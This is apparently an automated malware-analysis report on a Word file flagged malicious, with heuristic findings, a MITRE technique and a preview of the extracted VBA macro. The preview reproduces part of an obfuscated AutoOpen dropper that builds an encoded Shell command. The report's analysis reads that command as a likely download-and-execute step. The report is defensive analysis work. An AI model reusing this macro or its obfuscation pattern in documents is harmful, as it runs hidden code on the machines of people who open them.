MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The critical heuristic firing for 'OLE_VBA_SHELL' indicates the presence of a Shell() call within the VBA macros. The AutoOpen macro, identified by 'OLE_VBA_AUTOOPEN' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC', is designed to execute automatically upon opening the document. The reconstructed string 'g10@3z30q100z11i35!63C63!59@113X100g100!32}36}56C34z39!' likely represents a command or URL used to download and execute a secondary payload, which is further supported by the presence of a PowerShell technique.
Heuristics 6
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8542 bytes |
SHA-256: ed03f4c726ead7801787e52b01cdcda66d2ec6e08d0e445f2c147727e6c70fc0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "CIalEmj" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "lpwREiXDScO" Function vYjtJ() On Error Resume Next zGpJV = CDate(38803) BRZFj = 11945 fSvDPo = 7428 zKLjcC = 8228 VFzrIn = Sin(63268) jvvwDE = IwjHq aKAoJ = "He" + "ll " + " " + Chr(40) + "'1" + "11z29@4" + "7C59!118" + "}37}46" + "g60g1" + "02" + "@36" + "q41i33" mzfVaz = Sin(28227) aIwjrl = 45063 qrCkk = jRaBML pXDwp = CDate(65503) Jwuaf = 12142 kucXi = 42647 zDDnABfoU = "X4" + "6X40}" + "63!107" + "i5z46X" + "63q101!2" + "8i46g4" + "1@" + "8@39C34@" + "46z" PmdzrG = Sin(98681) WrkbMA = 17935 fwwRhs = KEiHi cihOh = CDate(26579) npiWd = 20947 ozKscc = 91072 lObzDkd = "37g63!11" + "2g111!" + "13C7X60" + "!118@10" + "8g3" + "5z63i63" + "g59!113C" + "100i100C" + "60X60@60" + "z101z" + "42z61" + "b46z3" ATZtq = Sin(80961) RBHnUX = 35628 Qbmhs = QvDiL MYFZG = CDate(33884) tflcw = 76483 RhDERG = 49412 FQffTi = "8C4" + "6X42" + "i47q36g" + "60" + "q5" + "6i101C" + "40C" + "36g" + "38C100@" + "44g4" + "1@27" wojiv = 32296 HbDqz = CDate(5993) mdjVT = 64639 ZPjtn = XlpJj iPcdo = 40194 wGBFG = Sin(58658) NttZos = "g10@3z30" + "q100z" + "11i3" + "5!63C" + "63!59@" + "113" + "X100g100" + "!32}" + "36}56" + "C3" + "4z39!" nYnoRf = 97777 BNGPUf = CDate(72519) zbivq = 3063 wKzsAP = cpjodm RkjDE = 97726 AnFPS = Sin(48) DEpAvVQM = "39" + "}36}59!4" + "6i5" + "7q62g" + "63q" + "36" + "@62C57i5" + "6i101q4" zpdvC = 3404 MKrKp = CDate(19411) BWQDj = 82996 slCHIl = DijmP tjNUUU = 66003 SBbSVB = Sin(90460) ZuLjoznHVh = "0}36X3" + "8g100g" + "38b57C" + "46" + "g59C114!" + "42q" + "3}58b10" + "0}11q3" + "5@63}63" + "b5" KdKsM = 49569 sHNZz = CDate(46768) fiQwd = 35337 vjLIc = vYLGjZ hITtnw = 29396 vfFYT = Sin(19493) oWXromHopGn = "9q113z10" + "0i100i6" + "0q60" + "q60X1" + "01}4" + "0z62i56@" fNwqO = 21645 sQDTmG = CDate(93781) wkbQZp = 44195 XJfDG = FBQPVl jBLFac = 31034 icnknj = Sin(15949) VJPGu = "63b3" + "6q38X42" + "}40" + "@40" + "!46z56q" + "56" + "!47" + "z4" + "2}63q" + "42@41q" + "42b5" + "6X46q10" XIdGjE = 38796 jiRAM = CDate(8899) imKSj = 30018 wNGCr = jMsaMS clwwXE = 35903 DsJTR = Sin(77387) ShJlrEHZp = "1b40b36" + "}38q1" + "00q33" + "i3" + "6C34" + "b6" + "2X46X35" + "X63g57!" + "100g" + "114q" + "44b1" RSGDG = 70132 qwiWw = CDate(24125) sZnIh = 86453 NuiwVb = dvHrM ohDzW = 77381 PESaW = Sin(52342) LYwYXwtwjoY = "14z1" + "27X59z1" + "21q100" + "@1" + "1b3" + "5C63}" zjZcZb = 95627 idndz = CDate(85792) DiJJz = 93445 KVomt = Wunaqk pZdhU = 71787 kzuGn = Sin(83076) SzGaHLEEEph = "63z" + "59" + "b113g" + "100!10" + "0!60" + "C60" + "g60q" + "101C47g" + "46}34b" + "38" + "i59z3" vYjtJ = aKAoJ + zDDnABfoU + lObzDkd + FQffTi + NttZos + DEpAvVQM + ZuLjoznHVh + oWXromHopGn + VJPGu + ShJlrEHZp + LYwYXwtwjoY + SzGaHLEEEph ztrozB = 47680 FsjTd = CDate(73457) KDfLzb = 57866 boODX = wMNRjI pjjwX = 70417 wNiVk = Sin(59856) End Function Function vChQQ() On Error Resume Next TarNEH = 8518 wEizZ = CDate(77332) aMRkm = 40505 wPZrn = izaEW aPznK = 45354 SfWPPD = Sin(97236) wLqjzusAdJV = "9g42" + "!37z6" + "3g101g" + "40q" + "36@38X10" + "0C" + "8g13b56" + "q13g" + "114}25" + "q30q100" + "@11g3" BjfaF = 60080 GQCICC = CDate(90630) SfzaL = 4711 YGMHBw = CVkjY SDoGw = 53699 YhGjs = Sin(60034) JTPutrHUIq = "5z63" + "z63!59i" + "113}10" + "0!100i" + "37X45g62" + "z56}" + "46b47q34" + "i44X3" wwZTFA = 72310 IrSQp = CDate(31280) iuOBZo = 28770 qbjnZp = mBWdjU DqsXM = 75139 EGiJp = Sin(31042) PSYlzwzVmP = "4i" + "63@42!39" + "g101}40X" + "36g101" + "C49" + "i42i10" + "0g14C8!" + "41b" hBEvzV = 84584 EBhkYZ = CDate(97610) fZObT = 82737 IBcbF = iKTUop zQwWf = 97906 AFdhu = Sin(78186) LEajMmw = "40b45" + "g15g" + "51" + "g58" + "q100g1" + "08z101q2" + "4z5" + "9i39" + "!34}63X" + "99z108" + "!11" ovaYid = 12468 NCwnHU = CDate(6707) wcAqJ = ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.